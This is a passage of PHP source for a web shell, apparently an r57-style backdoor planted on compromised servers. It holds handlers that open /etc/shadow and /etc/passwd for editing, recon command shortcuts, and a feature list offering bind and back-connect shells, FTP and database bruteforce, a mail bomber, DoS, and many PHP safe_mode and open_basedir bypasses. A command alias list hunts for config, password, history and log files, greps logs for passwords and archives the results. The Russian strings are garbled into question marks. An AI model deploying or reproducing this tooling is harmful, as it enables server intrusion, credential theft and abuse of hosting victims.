  $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  }
 echo $r;
 echo '</table>';
 }
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['3']))
 {
   echo $head;
   echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
   $cpuf = @file("cpuinfo");
   if($cpuf)
    {
      $c = @sizeof($cpuf);
      for($i=0;$i<$c;$i++)
        {
          $info = @explode(":",$cpuf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
   die();
 }
if(isset($_GET['4']))
 {
   echo $head;
   echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
   $memf = @file("meminfo");
   if($memf)
    {
      $c = sizeof($memf);
      for($i=0;$i<$c;$i++)
        {
          $info = explode(":",$memf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
   die();
 }

if(isset($_GET['5']))
 {$_POST['cmd'] = 'systeminfo';}
if(isset($_GET['6']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
if(isset($_GET['7']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
if(isset($_GET['8']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
if(isset($_GET['9']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
if(isset($_GET['10']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
if(isset($_GET['13']))
 {$_POST['cmd']='cat /proc/cpuinfo';}
if(isset($_GET['14']))
 {$_POST['cmd']='cat /proc/version';}
if(isset($_GET['15']))
 {$_POST['cmd'] = 'free';}
if(isset($_GET['16']))
 {$_POST['cmd'] = 'dmesg(8)';}
if(isset($_GET['17']))
 {$_POST['cmd'] = 'vmstat';}
if(isset($_GET['18']))
 {$_POST['cmd'] = 'lspci';}
if(isset($_GET['19']))
 {$_POST['cmd'] = 'lsdev';}
if(isset($_GET['20']))
 {$_POST['cmd']='cat /proc/interrupts';}
if(isset($_GET['21']))
 {$_POST['cmd'] = 'cat /etc/*realise';}
if(isset($_GET['22']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
if(isset($_GET['23']))
 {$_POST['cmd'] = 'lsattr -va';}
if(isset($_GET['24']))
 {$_POST['cmd'] = 'w';}
if(isset($_GET['25']))
 {$_POST['cmd'] = 'who';}
if(isset($_GET['26']))
 {$_POST['cmd'] = 'uptime';}
if(isset($_GET['27']))
 {$_POST['cmd'] = 'last -n 10';}
if(isset($_GET['28']))
 {$_POST['cmd'] = 'ps -aux';}
if(isset($_GET['29']))
 {$_POST['cmd'] = 'service --status-all';}
if(isset($_GET['30']))
 {$_POST['cmd'] = 'ifconfig';}
if(isset($_GET['31']))
 {$_POST['cmd'] = 'netstat -a';}
if(isset($_GET['32']))
 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
if(isset($_GET['33']))
 {$_POST['cmd'] = 'fdisk -l';}
if(isset($_GET['34']))
 {$_POST['cmd'] = 'df -h';}

#if(isset($_GET['']))
# {$_POST['cmd'] = '';}

$lang=array(
'ru_butt1' =>'?????????',
'ru_butt2' =>'?????????',
'ru_butt3' =>'???????',
'ru_butt4' =>'?????????',
'ru_butt5' =>'?????????',
'ru_butt6' =>'???????',
'ru_butt7' =>'???????',
'ru_butt8' =>'?????????',
'ru_butt9' =>'????',
'ru_butt10'=>'?????????',
'ru_butt11'=>'?????????????',
'ru_butt12'=>'?????',
'ru_butt13'=>'???????/???????',
'ru_butt14'=>'???????',
'ru_butt15'=>'?????????',
'ru_text1' =>'??????????? ???????',
'ru_text2' =>'?????????? ?????? ?? ???????',
'ru_text3' =>'????????? ???????',
'ru_text4' =>'??????? ??????????',
'ru_text5' =>'???????? ?????? ?? ??????',
'ru_text6' =>'????????? ????',
'ru_text7' =>'??????',
'ru_text8' =>'???????? ?????',
'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
'ru_text10'=>'??????? ????',
'ru_text11'=>'?????? ??? ???????',
'ru_text12'=>'back-connect',
'ru_text13'=>'IP-?????',
'ru_text14'=>'????',
'ru_text15'=>'???????? ?????? ? ?????????? ???????',
'ru_text16'=>'????????????',
'ru_text17'=>'????????? ????',
'ru_text18'=>'????????? ????',
'ru_text19'=>'Exploits',
'ru_text20'=>'????????????',
'ru_text21'=>'????? ???',
'ru_text22'=>'datapipe',
'ru_text23'=>'????????? ????',
'ru_text24'=>'????????? ????',
'ru_text25'=>'????????? ????',
'ru_text26'=>'????????????',
'ru_text28'=>'?????? ? safe_mode',
'ru_text29'=>'?????? ????????',
'ru_text30'=>'???????? ?????',
'ru_text31'=>'???? ?? ??????',
'ru_text32'=>'?????????? PHP ????',
'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL (PHP <= 4.4.2, 5.1.4)',
'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
'ru_text36'=>'???? . ???????',
'ru_text37'=>'?????',
'ru_text38'=>'??????',
'ru_text39'=>'????',
'ru_text40'=>'???? ??????? ???? ??????',
'ru_text41'=>'????????? ? ?????',
'ru_text42'=>'?????????????? ?????',
'ru_text43'=>'????????????? ????',
'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
'ru_text45'=>'???? ????????',
'ru_text46'=>'???????? phpinfo()',
'ru_text47'=>'???????? ???????? php.ini',
'ru_text48'=>'???????? ????????? ??????',
'ru_text49'=>'???????? ??????? ? ???????',
'ru_text50'=>'?????????? ? ??????????',
'ru_text51'=>'?????????? ? ??????',
'ru_text52'=>'????? ??? ??????',
'ru_text53'=>'?????? ? ?????',
'ru_text54'=>'????? ?????? ? ??????',
'ru_text55'=>'?????? ? ??????',
'ru_text56'=>'?????? ?? ???????',
'ru_text57'=>'???????/??????? ????/??????????',
'ru_text58'=>'???',
'ru_text59'=>'????',
'ru_text60'=>'??????????',
'ru_text61'=>'???? ??????',
'ru_text62'=>'?????????? ???????',
'ru_text63'=>'???? ??????',
'ru_text64'=>'?????????? ???????',
'ru_text65'=>'???????',
'ru_text66'=>'???????',
'ru_text67'=>'Chown/Chgrp/Chmod',
'ru_text68'=>'???????',
'ru_text69'=>'????????1',
'ru_text70'=>'????????2',
'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
'ru_text72'=>'????? ??? ??????',
'ru_text73'=>'?????? ? ?????',
'ru_text74'=>'?????? ? ??????',
'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
'ru_text80'=>'???',
'ru_text81'=>'????',
'ru_text82'=>'???? ??????',
'ru_text83'=>'?????????? SQL ???????',
'ru_text84'=>'SQL ??????',
'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
'ru_text86'=>'?????????? ????? ? ???????',
'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
'ru_text88'=>'??????:????',
'ru_text89'=>'???? ?? ftp ???????',
'ru_text90'=>'????? ????????',
'ru_text91'=>'???????????? ?',
'ru_text92'=>'??? ?????.',
'ru_text93'=>'FTP',
'ru_text94'=>'FTP-????????',
'ru_text95'=>'?????? ?????????????',
'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
'ru_text97'=>'????????? ??????????: ',
'ru_text98'=>'??????? ???????????: ',
'ru_text99'=>'/etc/passwd',
'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
'ru_text101'=>'???????????? (user -> resu)',
'ru_text102'=>'?????',
'ru_text103'=>'???????? ??????',
'ru_text104'=>'???????? ????? ?? ???????? ????',
'ru_text105'=>'????',
'ru_text106'=>'??',
'ru_text107'=>'????',
'ru_text108'=>'????? ??????',
'ru_text109'=>'????????',
'ru_text110'=>'??????????',
'ru_text111'=>'SQL-?????? : ????',
'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list() (PHP <= 5.1.2)',
'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body() (PHP <= 5.1.2)',
'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
'ru_text116'=>'?????????? ????',
'ru_text117'=>'?',
'ru_text118'=>'???? ??????????',
'ru_text119'=>'?? ??????? ??????????? ????',
'ru_text120'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? ini_restore() (PHP <= 4.4.4, 5.1.6) by NST',
'ru_text121'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? fopen() (PHP v4.4.0 memory leak) by NST',
'ru_text122'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? glob() (PHP <= 5.2.x)',
'ru_text123'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.bzip ?????? [compress.bzip2://] (PHP <= 5.2.1)',
'ru_text124'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? error_log(php://) (PHP <= 5.1.4, 4.4.2)',
'ru_text125'=>'??????',
'ru_text126'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????[NULL-byte] (PHP <= 5.2.0)',
'ru_text127'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? readfile(php://) (PHP <= 5.2.1, 4.4.4)',
'ru_text128'=>'???? ?????????/??????? ????? (touch)',
'ru_text129'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ? fopen(srpath://) (PHP v5.2.0)',
'ru_text130'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.zip ?????? [zip://] (PHP <= 5.2.1)',
'ru_text131'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ??????????? ????? ? ?????????????? symlink() (PHP <= 5.2.1)',
'ru_text132'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? symlink() (PHP <= 5.2.1)',
'ru_text133'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????(TMPDIR) (PHP <= 5.2.4)',
'ru_text134'=>'???????? ??? ??????',
'ru_text135'=>'???????',
'ru_text136'=>'???????? ?????????? ??????',
'ru_text137'=>'????????',
'ru_text138'=>'???????',
'ru_text139'=>'????-??????',
'ru_text140'=>'DoS',
'ru_text141'=>'?????????! ???????? ???? ???-???????.',
'ru_text142'=>'????????? ???????',
'ru_text143'=>'Temp: ',
'ru_text144'=>'Test bypass safe_mode with load file in mysqli',
'ru_text145'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? realpath() (PHP <= 5.2.4)',
'ru_text146'=>'MAX ???-?? ????????',
'ru_text147'=>'',
'ru_text148'=>'',
'ru_text149'=>'',
'ru_text150'=>'',
'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
'ru_err1'=>'??????! ?? ???? ????????? ???? ',
'ru_err2'=>'??????! ?? ??????? ??????? ',
'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
'ru_err4'=>'?????? ??????????? ?? ftp ???????',
'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
'ru_err6'=>'??????! ?? ??????? ????????? ??????',
'ru_err7'=>'?????? ??????????',
/* --------------------------------------------------------------- */
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_butt3' =>'Bind',
'eng_butt4' =>'Connect',
'eng_butt5' =>'Run',
'eng_butt6' =>'Change',
'eng_butt7' =>'Show',
'eng_butt8' =>'Test',
'eng_butt9' =>'Dump',
'eng_butt10'=>'Save',
'eng_butt11'=>'Edit file',
'eng_butt12'=>'Find',
'eng_butt13'=>'Create/Delete',
'eng_butt14'=>'Download',
'eng_butt15'=>'Send',
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text19'=>'Exploits',
'eng_text20'=>'Use',
'eng_text21'=>'&nbsp;New name',
'eng_text22'=>'datapipe',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'ACCESS DENIED',
'eng_text30'=>'Cat file',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
'eng_text34'=>'Test bypass safe_mode with include function',
'eng_text35'=>'Test bypass safe_mode with load file in mysql',
'eng_text36'=>'Database . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'View cpu info',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text67'=>'Chown/Chgrp/Chmod',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'Search text in files via find',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without arch.',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'/etc/passwd',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu)',
'eng_text102'=>'Mail',
'eng_text103'=>'Send email',
'eng_text104'=>'Send file to email',
'eng_text105'=>'To',
'eng_text106'=>'From',
'eng_text107'=>'Subj',
'eng_text108'=>'Mail',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',
'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
'eng_text125'=>'Data',
'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
'eng_text128'=>'Modify/Access file (touch)',
'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
'eng_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
'eng_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
'eng_text133'=>'Test bypass open_basedir, create file via session_save_path(TMPDIR) (PHP <= 5.2.4)',
'eng_text134'=>'Database-bruteforce',
'eng_text135'=>'Dictionary',
'eng_text136'=>'Creating evil symlink',
'eng_text137'=>'Useful',
'eng_text138'=>'Dangerous',
'eng_text139'=>'Mail Bomber',
'eng_text140'=>'DoS',
'eng_text141'=>'Danger! Web-daemon crash possible.',
'eng_text142'=>'Downloaders',
'eng_text143'=>'Temp: ',
'eng_text144'=>'Test bypass safe_mode with load file in mysqli',
'eng_text145'=>'Test bypass open_basedir, view dir list via realpath() (PHP <= 5.2.4)',
'eng_text146'=>'Max Interation',
'eng_text147'=>'',
'eng_text148'=>'',
'eng_text149'=>'',
'eng_text150'=>'',
'eng_err0'=>'Error! Can\'t write in file ',
'eng_err1'=>'Error! Can\'t read file ',
'eng_err2'=>'Error! Can\'t create ',
'eng_err3'=>'Error! Can\'t connect to ftp',
'eng_err4'=>'Error! Can\'t login on ftp server',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_err6'=>'Error! Can\'t sent mail',
'eng_err7'=>'Mail send',
);
/*
?????? ??????
????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )
?? ?????? ???? ????????? ??? ???????? ???????.
*/
$aliases=array(
'----------------------------------locate'=>'',
'locate httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate psybnc.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate my.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate my.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate .conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate .pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate .sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".htpasswd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".bash_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".mysql_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate backup files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate backup >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate dump files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate dump >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate priv files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate priv >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'----------------------------------tar'=>'',
'tar -czvf all.tgz -T '.$tempdir.'grep.txt'=>'tar -czvf all.tgz -T '.$tempdir.'grep.txt',
'----------------------------------1'=>'',
'locate auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'locate ".log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'----------------------------------2'=>'',
'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
'----------------------------------find'=>'',
'find suid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -04000 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find suid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -04000 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find sgid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -02000 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find sgid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -02000 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all writable files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -2 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all writable files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -2 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all writable directories >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /  -type d -perm -2 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all writable directories in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type d -perm -2 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all writable directories and files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -perm -2 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all writable directories and files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -perm -2 -ls  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .htpasswd  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .bash_history  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
'find all .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .mysql_history  >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
